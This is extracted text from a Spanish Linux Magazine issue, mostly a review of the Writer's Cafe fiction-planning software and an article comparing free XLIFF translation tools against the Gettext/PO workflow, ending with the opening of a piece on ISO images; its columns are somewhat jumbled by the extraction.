sobre una familia feudal. Voy a llamar a la pieza“Romeo y Julieta”. En primer lugar, se inicia unnuevo proyecto (File | New Project...), y se le daun nombre. Lo predeterminado es crear un pro-yecto en blanco, aunque también es posibleimportar una plantilla si se dispone de ella. Acontinuación se da entrada a tres nombres delíneas de historia (por ejemplo, Romeo, Julieta,familia feudal) que pueden ser modificadas oborradas posteriormente (Figura 5).

StoryLines se abrirá con las líneas de historiaque se especificaron en la mitad inferior de lapantalla, cada una con un color predeterminadodiferente (que puede personalizarse haciendodoble clic en el encabezamiento de la línea argu-mental en la izquierda y haciendo clic en el cua-dro de colores) que permite seguirle la pista a lastarjetas según la línea argumental a la que perte-nezcan. La mitad superior de la línea de la pan-talla tiene un bosquejo del proyecto en laizquierda, mostrando las tarjetas en columna(línea de tiempo) y el orden en el argumento yun editor en la derecha, donde pueden ser edita-dos un gran número de atributos para cada tar-jeta.

La primera tarea es ir a Edit | Project Informa-

tion...e introducir alguna información acerca delproyecto y sobre uno mismo en la solapa Basics

(Figura 6). En la solapa Story Details se puedeintroducir un suma-rio sobre qué tipo defragmento de ficciónse está escribiendo(concepto, género),el público al cual sedirige, etc. En teoría,esto es bastante sen-cillo, pero en la prác-tica puede de hechoayudar a dar forma alas ideas sobre losobjetivos del frag-mento. La solapaStorylines permiteañadir, editar yborrar líneas argu-

mentales y moverlas arriba y abajo en la lista. EnCharacters puede introducirse información defondo sobre los personajes (apariencia, persona-lidad, destrezas, deseos, etc) con objeto de darletodo el realismo posible cuando se va a escribirsobre ellos. Puede introducirse informaciónsobre lugares en la solapa Locations.

Añadir nuevas tarjetas es tan simple comopulsar [Ctrl] + [N], o haciendo clic sobre elbotón de nueva tarjeta en la barra de herramien-tas. El tamaño de la tarjeta puede cambiarse conView | Preferences | Aesthetics. La tarjeta seráañadida a la línea argumental, mostrándose enuna lista desplegable en la parte superior dere-cha de la pantalla. Puede cambiarse la líneaargumental allí o haciendo clic en la línea argu-mental deseada en el botón de la pantalla. Latarjeta se colocará en una columna, lo cual per-mite que las líneas argumentales se enlacen ypuede moverse la tarjeta a otra línea argumentalo a una nueva columna simplemente con arras-trar y soltar.

Algunas tarjetas pueden seleccionarseusando [Ctrl] + clic izquierdo, mientras quepueden borrarse con [Ctrl] + [Del]. Es posibleetiquetar columnas haciendo clic en elnúmero de la columna e introduciendo algúntexto y también pueden agruparse columnaspor secciones para reflejar capítulos o actos enla historia.

Para comenzar a introducir información enla tarjeta se usa la solapa Card situada en laparte superior derecha. En Description anota-remos un escueto resumen del argumento, yluego, en Content se introduce el texto en con-creto de la escena o episodio. Así como losefectos de formateado de texto básico, estasolapa tiene botones que permiten el formate-ado básico para guiones de teatro o de pelícu-las y televisión, los cuales se conservan si elproyecto es exportado a un procesador detexto. También pueden establecerse (a través

usuario crear trocitos de texto que podrían ser labase para un trabajo más detallado.

WordTiles parece estar menos integrada enWriter’s Cafe que las otras aplicaciones asisten-tes. El tamaño de su fuente debe ser ajustadoseparadamente (en View | Preferences | Aesthe-

tics), y no hay opción para exportar directa-mente a Notebook o a Journal.

StoryLinesTodas las aplicaciones anteriormente citadas sonútiles por sí mismas, pero la atracción principalde Writer’s Cafe, el lugar donde se lleva a cabo eltrabajo real, es en StoryLines. StoryLines estádiseñado de manera muy ingeniosa para permi-tir el desarrollo de la trama, de los personajes, delcontenido y de las escenas simultáneamente.Está basado en tarjetas que contienen fragmen-tos del argumento y en las que pueden introdu-cirse casi cualquier cosa. Dichas tarjetas puedenser movidas a lo largo de la línea de argumentopara permitir experimentar con diferentes de-sarrollos argumentales alterando la secuencia deacontecimientos. Y, lo que es más importante,puede tenerse más de una línea argumental, asíque puede disponerse de un juego de aconteci-mientos relacionados con cada protagonista enla ficción y ver de un vistazo lo que les está ocu-rriendo en esa red de la línea de argumentos conlo que les está pasando a otros protagonistas enel mismo punto en el libro. La habilidad de mez-clar las tarjetas independientemente en cadalínea argumental significa que puede experi-mentarse con diferentes dispositivos de argu-mento sin tener que reescribir cada vez grandessecciones.

StoryLines se posiciona en un agradable tér-mino medio entre la escuela de escritores quepostula que hay que “esbozar el argumentoantes de comenzar a escribir” o y la escuelaque dicta que hay que “comenzar a escribir yesperar que todo caiga en su sitio”. Se puedetrabajar con las líneas argumentales y escribirla escena ocasional completa cuando llega eldeseo apremiante de escribir, o bien escribirdistintas escenas y hacer juegos malabares

LINUX USER • Érase una vez

72 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Figura 4: Funciones WordTiles como la colección de imanes del frigorífico.

Figura 5: StoryLines permite encontrar sub-argumentos para tu historia.

de View | Preferences | Content Highlighting)colores específicos para elementos individua-les como diálogo, acción, etc., que puedenhacer que la navegación a través del guión seamás fácil.

En la solapa Setting puede especificarsedónde está teniendo lugar el episodio. Bienpuede seleccionarse de la lista de lugares intro-ducidos anteriormente, o bien añadir unonuevo. La solapa Annotation permite añadirnotas generales sobre el episodio, mientras quepara adjuntar imágenes (por ejemplo, una fotode una revista con el tipo de vestido que imagi-nas podría llevar una heroína) se usaría Image.

La parte superior derecha de la pantalla tam-bién tiene solapas para notas e informes del pro-yecto general. Project Notes ofrece una manerarápida de importar texto existente en las tarjetas,simplemente copiándolo y pegándolo en estasolapa, destacando las secciones y pulsando[Ctrl] + [N]. De este modo se obtendrá unanueva tarjeta con el texto relevante. Una ligeradesventaja de esto es que el texto acaba en lasolapa de la descripción de la tarjeta, cuandodebería ser más apropiado, en el caso de gran-des textos, colocarlo en la solapa Content.

Los informes son básicamente toda la infor-mación en las tarjetas dispuesta en formato

lineal para formar una narrativa conectada o unguión. Se encuentran disponibles cinco tipos dis-tintos de informes de estilo (Figura 7), desde eltabular (reflejando la composición de la tarjeta),la novela (texto directo) y adaptación (formate-ado para reflejar las convenciones del guión usa-das en la solapa Card | Content. Estos estilos pue-den hacerse a medida y pueden añadirse otrosnuevos yendo a Report | Report Preferences | Cho-

ose | Add e introduciendo un nombre para elinforme y haciendo clic en OK, y por último ajus-tando los estilos de los distintos parámetrossegún las necesidades propias.

Una vez nos estemos satisfechos con nuestrashistorias y con la composición del informe, pode-mos exportarlo (vía Report | Export Report) a unformato más tradicional. Puede exportarse aHTML, texto llano, Open-Office.org Writer o alformato HelpView propio de Anthemion. Estopermite hacer backups regulares de trabajos endesarrollo en un formato de lectura accesible.

Haciendo clic sobre cualquier tarjeta y selec-cionando Card Properties...| Card Statisticsdará elrecuento de palabras para esa tarjeta en particu-lar, así como el total para la columna y la líneaargumental a la que pertenece la tarjeta (Figura9). Sin embargo, parece no haber manera deconseguir un recuento de palabras para todas laslíneas argumentales en la obra si no es aña-diendo el total para cada línea argumentalmanualmente.

Cards Icons, en el mismo cuadro de diálogo,permite añadir indicios visuales sobre los conte-nidos de la tarjeta, por ejemplo, puede añadirseun icono ToDo para recordar que queda trabajopor hacer en esa tarjeta. Incluso pueden impor-tarse iconos propios a esta lista.

Si se han escrito algunas tarjetas y no está deltodo claro a qué línea argumental deberían serasignadas, pueden almacenarse temporalmenteen pockets. Cada proyecto tiene un pocket prede-terminado llamado Scraps, pero pueden añadirsemás si así se desea. Una única tarjeta o grupos detarjetas fácilmente pueden ser cambiadas entrelíneas argumentales y pockets.

ConclusiónWriter’s Cafe permite organizar una tareade composición de manera muy eficiente.Está bien mantenida, con nuevas versionesrenovadas cada 2-3 meses (la más reciente,la 1.22, añade el soporte Unicode, por ejem-plo). Su única desventaja es que no seencuentra disponible bajo licencia libre. Laversión registrada, cuyo precio son unos 37Euros, suprime el límite de 5 líneas de histo-ria y 30 tarjetas de la descarga libre y per-mite el acceso a un escueto libro sobre escri-tura de ficción de Harriet Smart, el cual con-tiene algunos buenos consejos. Bueno, yaestá bien de tanto hablar, debo irme y aca-bar mi bestseller. �

Érase una vez • LINUX USER

73Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 6: Un título y descripción del proyecto en la solapa Basics.

Figura 8: Usa el cuadro de diálogo Edit Report

Style para hacer a medida un informe StoryLine.

Figura 9: La solapa Card Statistics propor-

ciona un resumen de los datos de la tarjeta.

Figura 7: StoryLines viene con cinco estilos de informes diferentes.

[1] Kdissert: http://freehackers.org/

~tnagy/kdissert

[2] Writer’s Cafe: http://www.writerscafe.

co.uk

[3] Anthemion: http://www.anthemion.

co.uk

[4] wxWidgets: http://www.wxwidgets.

org

RECURSOS

LINUX USER • Educación

74 Número 22 W W W . L I N U X - M A G A Z I N E . E S

(como el esqueleto de su formato, que se uti-

lizará para generar el fichero traducido en el

mismo formato) y el proceso de traducción.

Los documentos XLIFF suelen tener la

extensión .xlf, o .xlz si están comprimidos. Es

trivial generar un documento XLIFF porque

existen conversores de formato adecuados.

Como experimento vamos a crear un fichero

.xlz a partir del .html de una versión provisio-

nal del documento que estamos escribiendo.

Utilizamos los OLT XLIFF Filters; sólo hemos

tenido que arrastrar y soltar el fichero

texto_fuente.html sobre la ventana del con-

versor (figura 1). El resultado es

texto_fuente.html.xlz, un paquete ZIP compri-

mido con tres ficheros: workflow.properties,

skeleton.skl (con la información que permi-

tirá recuperar el formato original) y

content.xlf[3], que es el que nos interesa. Lo

examinamos con un editor de texto (figura 2):

se trata de una plantilla XLIFF 1.0. Para empe-

La traducción del software libre

CAMBIO DEHERRAMIENTASNo podemos cerrar el estudio sin examinar las propuestas de la industria

de la traducción: la especificación XLIFF y sus herramientas. ¿Está el soft-

ware libre a la altura? POR JUAN RAFAEL FERNÁNDEZ GARCÍA.

sobre la tesis de que era el momento de adop-

tar masivamente el formato y las herramien-

tas XLIFF para traducir los documentos de

nuestros programas y nuestros recursos.

¿Qué ha pasado mientras tanto? Para com-

prenderlo hay que empezar analizando el

nuevo formato.

La especificación XLIFFLa FAQ de XLIFF en OASIS define el XML

Localisation Interchange File Format, XLIFF,

como una especificación (no es todavía un

estándar OASIS, pero en su momento será un

estándar bendecido por la poderosa industria

de la localización) para el intercambio sin pér-

dida de datos de localización y de la informa-

ción relacionada con ellos[2]. Por tanto, se

trata de un formato para almacenar cadenas

de texto extraídas de un fichero original que

se desea traducir, y permite incorporar infor-

mación adicional sobre el documento original

De la salvaje segunda entrega nos que-

dan varias heridas abiertas. Una eran

las insuficiencias del formato PO, ese

arcaico formato de la era pre-XML. ¿Existe

alguna alternativa libre, alguna solución hacia

la que correr?

El verano en que creímostener una respuestaEl verano de 2005 fue especial para el mundo

de la traducción libre: por un lado Tim Foster

había anunciado el 21 de junio la disponibili-

dad en abierto de las legendarias (llevábamos

años esperándolas) herramientas internas de

Sun, las Open Language Tools (hablaremos

de ellas más adelante), que nos iban a permi-

tir trabajar al fin en el formato XLIFF; también

teníamos Transolution, y los filtros de Fredrik

Corneliusson y de Rodolfo Raya… En su inge-

nuidad, un servidor montó su ponencia en

los Encuentros de Software Libre de Dijon[1]

La traducción del software libre

CAMBIO DEHERRAMIENTAS

Editor Ejemplo 1 Ejemplo 2 Ejemplo 3 Ejemplo 4

Heartsome XLIFF Editor 5.0-8 OK OK OK OK

Open Language Tools RC 1.1 No lo abre No lo abre No lo abre No lo abre

Transolution Alpha OK OK OK OK

Trados 7.0 No funciona OK OK No funciona

SDLX OK OK OK OK∫

Tabla 1: Estudio de Rodolfo Raya de los editores XLIFF

ducción tiene que ser el inglés de Estados

Unidos (en-US).

Iniciando el paralelismo con el sistema Get-

text/PO que hemos analizado en las anterio-

res entregas y al que queríamos llegar, nos

encontraríamos en el momento de la creación

de la plantilla POT. Y ahora sería el momento

de traducir las cadenas de texto. Utilizamos

(en un momento hablaremos de los editores

XLIFF) el OLT Translation Editor. Creamos

zar apreciamos un error en la conversión: a

pesar de que nuestro fichero fuente, html 4.0

correcto (revisado con tidy), indicaba que se

trata de un texto en castellano (lang=“es”), el

filtro decide que el texto de partida de la tra-

Educación • LINUX USER

75Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 1: El filtro de las Open-Language Tools en acción. Figura 2: El documento XLIFF creado.

[1] Ponencia en inglés On the Translation of Educational Resources. A Critical Overview (http://speches.ofset.org/jrfernandez/rmll2005). La

ponencia no deja de ser una actualización del estudio iniciado con La Traducción en el mundo del Software Libre: Análisis del estado

de las herramientas lingüísticas, proyectos actuales y necesidades de la comunidad del software libre (2003, http://es.tldp.org/

Articulos/0000otras/doc-traduccion-libre/) y Un paso adelante. Plan de tecnologías lingüísticas libres (http://es.tldp.org/especicaciones/

herramientas-linguisticas/herramientas-linguisticas/).

[2] El Borrador final de la versión 1.0 es de finales de mayo de 2001; el 20 de mayo de 2003 se aprobó ya en OASIS la versión 1.1 de XLIFF;

el periodo de revisión pública del Borrador de la especificación 1.2 finalizó el 12 de septiembre de 2006.

OASIS (http://www.oasis-open.org/who/) es la Organization for the Advancement of Structured Information Standards, un consorcio

internacional de empresas y organismos que trabaja para «el desarrollo, la convergencia y la adopción de estándares de comercio

electrónico». La FAQ de XLIFF en Oasis: http://www.oasis-open.org/committees/xliff/faq.php. Sobre el Borrador de la especificación

1.2, http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=xliff (o la forma abreviada http://www.xliff.org/). Para la historia

y los antecedentes de XLIFF, ver http://www.opentag.com/xliff.htm.

[3] Según la documentación del Editor de traducción del OLT, «el fichero .xlz contiene todos los segmentos fuente del fichero original y

todas las correspondencias (matches) halladas para cada uno de estos segmentos en la base de datos de traducciones. Contiene tam-

bién el formato del fichero fuente original para que el fichero .xlz traducido pueda ser reconvertido a su formato original».

[4] Sobre el Proyecto de herramientas XLIFF: http://xliff-tools.freedesktop.org/wiki/.

XLIFF-PO-Tools, el conjunto de filtros en lenguaje C del Proyecto XLIFF Tools: http://xliff-tools.freedesktop.org/wiki/Projects/xlifftool (a

propósito, la figura 5 procede de http://xliff-tools.freedesktop.org/images/xliffize-gettext.png). Es signicativo el comentario del autor a

la lista [email protected]: «xliffize tiene como objetivo integrar XLIFF en proyectos basados en la herramienta GNU

autotools, usando XLIFF como el formato de recursos nativo en detrimento de PO». Su funcionalidad estaría en la automatización de

la extracción de cadenas que traducir, en un papel similar al de intltool.

XLIFF-Tools Java: http://xliff-tools.freedesktop.org/wiki/Projects/XliffToolsJava (el 20 de octubre de 2006, en mensaje a la lista

[email protected], Raya ha confirmado la vigencia de los filtros: «La versión Java funciona perfectamente. Una versión

ligeramente modificada es la incluida entre las herramientas de traducción de Heartsome»).

XliffRoundTrip: https://sourceforge.net/projects/xliffroundtrip/, v. 0.6, 28 oct. 2004.

File2xliff4j: http://file2xliff4j.sourceforge.net/, 5 oct. 2006. Jooconverter: http://sourceforge.net/projects/joott/.

OLT XML Filters: http://open-language-tools.dev.java.net. Para el código fuente de los conversores incluidos en el paquete Debian

translate-toolkit visitar, una vez instalado, /usr/share/pycentral/translate-toolkit/site-packages/translate/convert/.

[5] http://transolution.python-hosting.com/. La última versión es la 0.4b5 (Genesis), de agosto de 2005, descargable desde http://

sourceforge.net/projects/eviltrans/.

[6] http://open-language-tools.dev.java.net.

[7] http://www.oasis-open.org/committees/xliff/faq.php#Ejemplos.

NOTAS

de un glosario si se

hubiera utilizado);

información de con-

texto (y comenta-

rios…); y final-

mente, mucho más

importante y nove-

dosa, de revisión: el

estado de aprobada

o rechazada

(state=”user:appro-

ved” o

state=”user:rejec-

ted”) de la traduc-

ción del segmento

por un posible

segundo agente en

el proceso (¡al fin

espacio para un

revisor!).

¿Qué pretende aportar XLIFF? ¿A qué pro-

blemas responde? La FAQ de XLIFF enumera

una serie de problemas que hacía necesaria la

creación del formato

• Problemas de interoperabilidad entre las

herramientas

• Las herramientas existentes no tienen en

cuenta la totalidad del flujo de trabajo del

proceso de localización/traducción

• Los desarrolladores de las herramientas de

localización debían enfrentarse a numero-

sos formatos

• Gran número de formatos intermedios pri-

vativos

XLIFF ofrece

• Un único formato para los procesos relacio-

nados (por ejemplo control de calidad en

términos de revisión orto-tipográfica)

• Un control más estrecho de lo que reciben

los traductores (permite pre-filtrar qué se

va a traducir)

• Flujo de información controlado (notas de

autor, de desarrolla-

dor, propiedades de

los items, etc.)

• Identificación de

todos los items del

proceso

• Todas las ventajas

del trabajo en y con

XML

Si nos fijamos en los

anteriores argumentos

en favor de la necesi-

dad de XLIFF nos

daremos cuenta de

que el formato ocupa

el mismo nicho ecoló-

gico que el formato

PO. Vendría a ser la versión XML y contempo-

ránea de lo que pretendía ser PO desde el

comienzo. Salvo que el formato PO no se ha

utilizado por la industria de la localización, y

salvo los problemas del sistema (ver la

segunda entrega, en Linux Magazine 20), que

no vamos a repetir.

Ahora estamos en condiciones de com-

prender el problema que se presenta a los

desarrolladores y traductores del mundo del

software libre ante la idea de cambiar de PO a

XLIFF: es verdad, posiblemente sea un for-

mato superior, pero… ¿están el sistema de

extracción de cadenas y generación de los

ficheros .xlf, están las herramientas especiali-

zadas de traducción y el conversor de vuelta

al formato original en una fase tan madura y

tan comprobada como la del sistema Gettext/

PO?

Examen de los filtros XLIFFEmpezaremos hablando de las XLIFF PO

Tools, del ¿australiano? Asgeir Frimannsson.

Xliff-tools es un conjunto de utilidades para la

conversión entre los formatos PO y XLIFF. Se

trataría de po2xliff (el conversor de PO a

XLIFF), xliff2po (conversor inverso de XLIFF

a PO), xliffinit (inicializa un fichero XLIFF

para una lengua específica) y xliffmerge

(fusiona un fichero XLIFF traducido con una

plantilla XLIFF actualizada).

El flujo de trabajo sería el esquematizado

en la figura 5. Dos problemas hacen que

debamos seguir buscando: por un lado Fri-

mannsson ha comunicado que después de

junio de 2005 abandonó el mantenimiento de

los filtros; en segundo lugar el itinerario

Fuente -> PO -> plantilla XLIFF -> XLIFF

traducido -> PO -> Destino no parece el

óptimo: ¿qué sentido tiene la presencia doble

de PO y XLIFF en el flujo de trabajo? Si sus

funciones son paralelas no deberían aparecer

un proyecto de traducción del castellano al

inglés (figura 3), cargamos el fichero .xlz y

comenzamos a trabajar (figura 4, con la pre-

sentación en forma de dos paneles enfrenta-

dos verticalmente y las correspondencias en

la base). Si ahora guardamos el trabajo y vol-

vemos a examinar texto_fuente.html.xlz vere-

mos que el único que ha cambiado es con-

tent.xlf (esto no es del todo exacto: si hemos

guardado la que llama la Mini-TM también se

habrá creado en ~/.xliffeditor). Veamos más

de cerca qué se ha generado abriendo el

fichero en un editor de textos.

Examinemos el fragmento; es evidente que

ya no es realista esperar que se pueda trabajar

en la traducción con un editor de texto nor-

mal, como se podía hacer con un fichero PO,

por desagradable que fuera la experiencia: es

necesario un editor de XML o mejor un editor

creado expresamente para trabajar con XLIFF.

El «código fuente XML» debe ocultarse al tra-

ductor (y las marcas XML deben protegerse

como se protegía el código fuente de un pro-

grama). Hemos traducido tres segmentos

(oraciones: el filtro de conversión ha segmen-

tado el original por oraciones), que se con-

vierten en «unidades de traducción»,

trans-units, con identificadores únicos (a1,

a2, a3). Encontramos la clásica oposición

entre cadena original y cadena traducida

(ahora como segmento fuente, source, frente

a segmento destino, target). Pero la informa-

ción proporcionada es mucho más amplia:

por un lado el número de palabras de cada

segmento; por otro, información de uso de la

memoria de traducción (vemos que el frag-

mento a1 ha recibido su traducción del frag-

mento a3), con la marca state=”auto-transla-

ted:translated” (también se incluirían datos

LINUX USER • Educación

76 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Creación de un proyecto en el OLT XLIFF Translation Editor.

Figura 4: Uso del OLT Transeditor.

simultáneamente en el mismo proceso, ¿ver-

dad?

Similares, y también parte del «Proyecto de

herramientas XLIFF», son las xliff-tools-java,

de Rodolfo M. Raya. Aporta dos conversores:

po2xliff.sh y xliff2po. ¿Por qué le interesa esta

interoperabilidad entre PO y XLIFF? Ahora

caemos: ¡para lograr la unificación de bases

de datos de traducciones, de memorias de tra-

ducción y de glosarios! ¡para permitir la inter-

operabilidad entre proyectos con distinto ori-

gen! Espero que el lector paciente empiece a

adivinar a dónde queremos llegar en este

largo y tortuoso razonamiento, que ha ocu-

pado -no sé si lo sabe- casi cuatro años.

Pero ahora estamos presentando converso-

res. Otro filtro es XliffRoundTrip. Afirma

automatizar el camino de ida y vuelta entre

cualquier fichero XML y XLIFF. Consiste en

una aplicación en java y dos archivos XS. El

primero, xml2xliff.xsl, transforma XML en

XLIFF. El segundo, xliff2xml.xsl, reconvierte

el XLIFF en el XML traducido.

También hemos encontrado file2xliff4j, de

Airin, Sonny Zubia y Weldon Whipple, en

estado alfa según su página en Sourceforge. Al

parecer utiliza un proceso OpenOffice abierto

con la orden soffice -headless -norestore

-accept=”socket,port=8100;urp” y por tanto

utiliza los filtros de OpenOffice. Requiere una

numerosa lista de bibliotecas java, entre otras

JOOConverter, que convierte los documentos

de Word, Excel, PowerPoint y RTF a ODT y

después convierte el documento ODT a

XLIFF.

Mucho más maduros parecen los OLT

XLIFF Filters, también en java, complemen-

tarios del OLT Translation Editor. La lista de

ficheros que puede convertir es importante:

HTML, Docbook SGML, JSP, XML (filtro

genérico – requiere un fichero de

configuración para cada tipo de XML), Open-

Office.org y Open Document Format (sxw,

sxc, sxi y odw, odc, odi), texto plano, PO (get-

text), Msg/tmsg (catgets), ficheros .properties

y ResourceBundle de java, archivos de recur-

sos .DTD de Mozilla.

Tampoco debemos olvidar que el Translate

ToolKit complementario de Pootle incluye

po2xliff.py y xliff2po.py [4]. Volveremos sobre

esto porque hay aquí una clave que se nos

había pasado desapercibida.

El editor XLIFFTransolutionTransolution[5] (anunciado como EvilTrans

en marzo de 2005) se presenta como una

suite de traducción de fuente abierta que con-

siste en un editor XLIFF, un motor de memo-

rias de traducción (a cargo de Fredrik Estreen)

y unos filtros XLIFF.

El editor XLIFF está desarrollado en python

y con las bibliotecas gtk y glade por Fredrik

Corneliusson. A pesar de sus prometedores

primeros pasos, de su licencia GPL y de la

cercanía que proporciona el uso de las biblio-

tecas y widgets con los que el usuario está

familiarizado, ha vuelto a ocurrir la tragedia

del desarrollador independiente: el 28 de

enero de 2006 Fredrik Corneliusson anunció

que el desarrollo de Transolution quedaba

suspendido porque había cambiado de

empleo y la nueva ocupación no le dejaba

tiempo para continuar con su desarrollo. Y sí,

vamos a insistir por si ha pasado desaperci-

bido, la pérdida de un editor XLIFF GPL es

una tragedia.

¿Cómo funciona? Después de descompri-

mir el paquete con la aplicación se activa el

bit de ejecutable de xliffeditor.py y se lanza la

aplicación. La figura 6 es una captura del edi-

tor tras abrir nuestro fichero de prueba.

El Open-Language ToolsTranslation EditorEn este caso sí que se trata de un proyecto

vivo ¡y con todo el poder de Sun detrás! La

versión 1.2.6 es de 8 septiembre 2006[6]. La

licencia es la semi-libre Common Develop-

ment and Distribution License (CDDL) de

Sun, versión 1.0, con

todas las implicaciones

de requerir la máquina

virtual java de Sun 1.5.

Realmente no es nada

satisfactorio que el único

editor de XLIFF vivo de

código abierto tenga esta

dudosa licencia.

La herramienta de

Tim Foster está muy

bien documentada, y se

glosa también (figura 7)

el proceso de traducción

por medio de XLIFF. Ya la hemos mostrado

en uso, y no tenemos más que fijarnos en la

potencia de la interfaz para añadir marcas

(traducido, revisado y aprobado…) El pri-

meramente llamado OLP STE (ha sido

durante años una herramienta interna de

Sun) incluye varias características avanza-

das: permite importar y exportar memorias

de traducción en formato TMX, e incluye un

formato interno de memoria de traducción,

Mini-TM, con el que se pueden fusionar

memorias de distintos proyectos; está conce-

bido para la creación de bases de datos de

traducciones. El resultado, por supuesto, es

el fichero traducido (figura 8) en el formato

original (y nuevas entradas en la base de

datos de traducciones y en la memoria de

traducción).

¿Desencanto? ¿Quédesencanto?Sin embargo desde el verano de 2005 la

situación ha cambiado. No se puede decir

que los traductores de software y documen-

tación libres se hayan pasado en masa al

mundo de XLIFF. Hay voces que rechazan

su adopción por pesado, complejo e innece-

sario. Asgeir Frimannsson ha abandonado

sus filtros. Fredrik Corneliusson ha suspen-

dido el desarrollo de Transolution. Pero es

que hay más. El 26 de julio de 2005 Rodolfo

M. Raya envió a la lista [email protected]

desktop.org el resultado de un experimento.

Simplemente había descargado los cuatro

ejemplos de documentos XLIFF disponibles

en el sitio de OASIS [7] y había intentado

Educación • LINUX USER

77Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 6: Transolution.

Figura 5: Flujo de trabajo con xliff-po-tools.

Figura 7: Proceso de traducción con XLIFF.

[email protected]

ktop.org:

«El formato XLIFF, con

todos sus elementos espe-

cíficos, está obviamente

destinado a los traducto-

res profesionales y al

flujo de trabajo dentro de

las empresas. El formato

PO, por otro lado, fue

concebido para un flujo

de trabajo simple, consis-

tente únicamente en un

desarrollador y un tra-

ductor (…) Esto es ente-

ramente suficiente para

el 95% de los proyectos

de fuente abierta (…) Para el restante 5% de

proyectos, los mayores, como OpenOffice,

GNOME, etc., ciertas necesidades específicas

(por ejemplo flujos de trabajo más complica-

dos, o la desambiguación de los mensajes de

la interfaz gráfica de usuario por el contexto)

no son cubiertas por los archivos y las herra-

mientas PO».

Hay textos que son iluminadores en su cla-

ridad. Por un lado Haible no queda satisfecho

tras el reconocimiento de necesidades no

satisfechas por su sistema: hemos visto cómo

las últimas versiones de gettextt permiten pro-

porcionar información de contexto. Pero ade-

más creo que toca los conceptos clave de la

cuestión: profesionalización de la traducción,

flujo de trabajo, escala.

¿Puede el software libre dejar pasar el tren

de la profesionalización? ¿Puede ignorar las

exigencias, no sólo de continuidad (un tra-

ductor voluntario puede abandonar una tra-

ducción si lo desea, no está obligado más que

por su compromiso moral) y de coordinación

de equipos (¿hay muchas empresas en el

mundo capaz de generar el número de líneas

de código o de documentación que se gene-

ran en el mundo FOSS?), sino de calidad

(corrección ortotipográfica, completud del

flujo de trabajo de asignación de tareas, tra-

ducción, revisiones, actualizaciones, pero

sobre todo validez terminológica y semántica

de la traducción)? Y además, ¿tiene sentido

continuar como un reducto aislado en el mar

de la localización, alejados de los llamados

traductores profesionales y de las técnicas y

tecnologías aprendidas en las Escuelas de Tra-

ductores? Es verdad, una aplicación sola es

normalmente cosa de un equipo reducido,

pero esa aplicación será parte de un proyecto

mayor, sea GNU, Gnome, KDE… y la termi-

nología y las traducciones de ese proyecto

global deben ser coherentes, y ese proyecto se

mantendrá y actualizará periódicamente o

morirá.

¿Estamos en un callejón sin salida? Vamos

a recuperar un fragmento de las especificacio-

nes funcionales del proyecto WordForge:

«En la actualidad el formato Gettext/PO es

la base de toda la localización del mundo

FOSS. No obstante XLIFF es un estándar

emergente. Por consiguiente, el conjunto de

herramientas hará abstracción del uso de PO

o de XLIFF, de manera que puedan utilizarse

indistintamente. Esta abstracción permitirá

que las herramientas sigan siendo útiles a los

que trabajan en la localización si continúan

usando PO, pero también permitirá la migra-

ción al más rico formato XLIFF.

Los archivos de los diferentes proyec-

tos FOSS que van a traducirse se conver-

tirán a PO o a XLIFF usando filtros de

conversión de entrada. Seguidamente los

ficheros se envían a pootle. Una vez tra-

ducidos y revisados, se vuelven a conver-

tir al formato original usando filtros de

conversión de salida (…)

Además pootle puede utilizar glosarios

TBX y memorias de traducción TMX para

mejorar el contenido de los ficheros PO o

XLIFF que se presentan a los traductores

y revisores, facilitando así el trabajo del

traductor y asegurando la calidad de las

traducciones. La calidad se garantiza

mediante varias comprobaciones(…)»

Vaya vaya, va a resultar que la tecnolo-

gía TMX, TBX, XLIFF, está integrada y

abstraída en pootle (al menos como pro-

yecto en sus especificaciones). ¿Alguien

había hablado de desencanto? Ahora

comprendemos que tanto el esquema de

la figura 5 como el de la figura 7 son váli-

dos: en el primer caso se trata del proceso

de migración y de creación inicial de la

base de datos de traducciones; en el

segundo del trabajo directo con XLIFF.

Quizás las herramientas no estén termi-

nadas pero el camino parece estar claro.

Y en el próximo número…Nos falta hablar de dos cosas. Por un

lado, extraer conclusiones de nuestra

panorámica de herramientas y formatos,

cinco entregas de datos sin tomar deci-

siones y hacer propuestas no nos parece

aceptable. Por otro examinar el flujo de

trabajo de los equipos de traducción al

castellano. Que el bosque de los detalles

no nos haga olvidar que el objetivo

inmediato de esta serie de artículos era

lograr la incorporación de voluntarios a

los equipos de traducción. �

abrirlos con los distintos editores. En la tabla

1 podemos leer el resultado que obtenía:

Advirtamos para el lector no avisado que

Raya hace la comparación examinando tam-

bién software no libre y que es el desarrolla-

dor principal (espero no equivocarme aquí)

del editor Heartsome. He realizado la misma

prueba con las versiones actuales del editor

OLT (1.2.6) y Transolution (0.4b5): los resul-

tados son idénticos a los de Raya. Y es sor-

prendente, porque en nuestro ejemplo ante-

rior el funcionamiento de los dos editores

había sido impecable. Claro: el editor OLT no

tiene problemas para leer un XLIFF generado

por los filtros OLT.

¿Qué significa este resultado? Para hacerse

una idea recordemos que XLIFF es un for-

mato complicado, pero pensado específica-

mente para la compatibilidad («para el inter-

cambio sin pérdida de datos» que decía la

definición de la especificación). Es aceptable

que un editor vaya añadiendo detalles en su

cumplimiento del futuro estándar (un docu-

mento puede contener una carga de informa-

ción compleja, pero el reconocimiento o no de

unos determinados elementos y atributos es

opcional); lo que no es de recibo es que tra-

baje con una versión modificada y propia de

la especificación, y no sea capaz de abrir ni

siquiera los ejemplos XLIFF más simples.

¿Quiere esto decir que la opción XLIFF ha

fracasado? ¿Que, a pesar de que en abstracto

XLIFF sea un formato superior técnicamente,

en la práctica no está justificado el esfuerzo

de migración ni las herramientas disponibles

son adecuadas?

PO y XLIFF ¿frente afrente?El 16 de febrero de 2005 Bruno Haible, al que

ya conocemos como responsable actual de

gettext, enviaba la siguiente reflexión a la lista

LINUX USER • Educación

78 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Figura 8: Momento de la generación del fichero traducido.

Linea de comandos: Isos • LINUX USER

79Número 22W W W . L I N U X - M A G A Z I N E . E S

La línea de comandos dispone de numerosas aplicaciones para copiarCDs o DVDs. Pero antes de que se pueda realizar la copia, es precisocrear una imagen ISO. ISO (o ISO 9660, para usar su nombre completo)

es el sistema de ficheros estándar para la administración de ficheros en CDs.mkisofs y dd son las herramientas de la línea de comandos que ayudan a

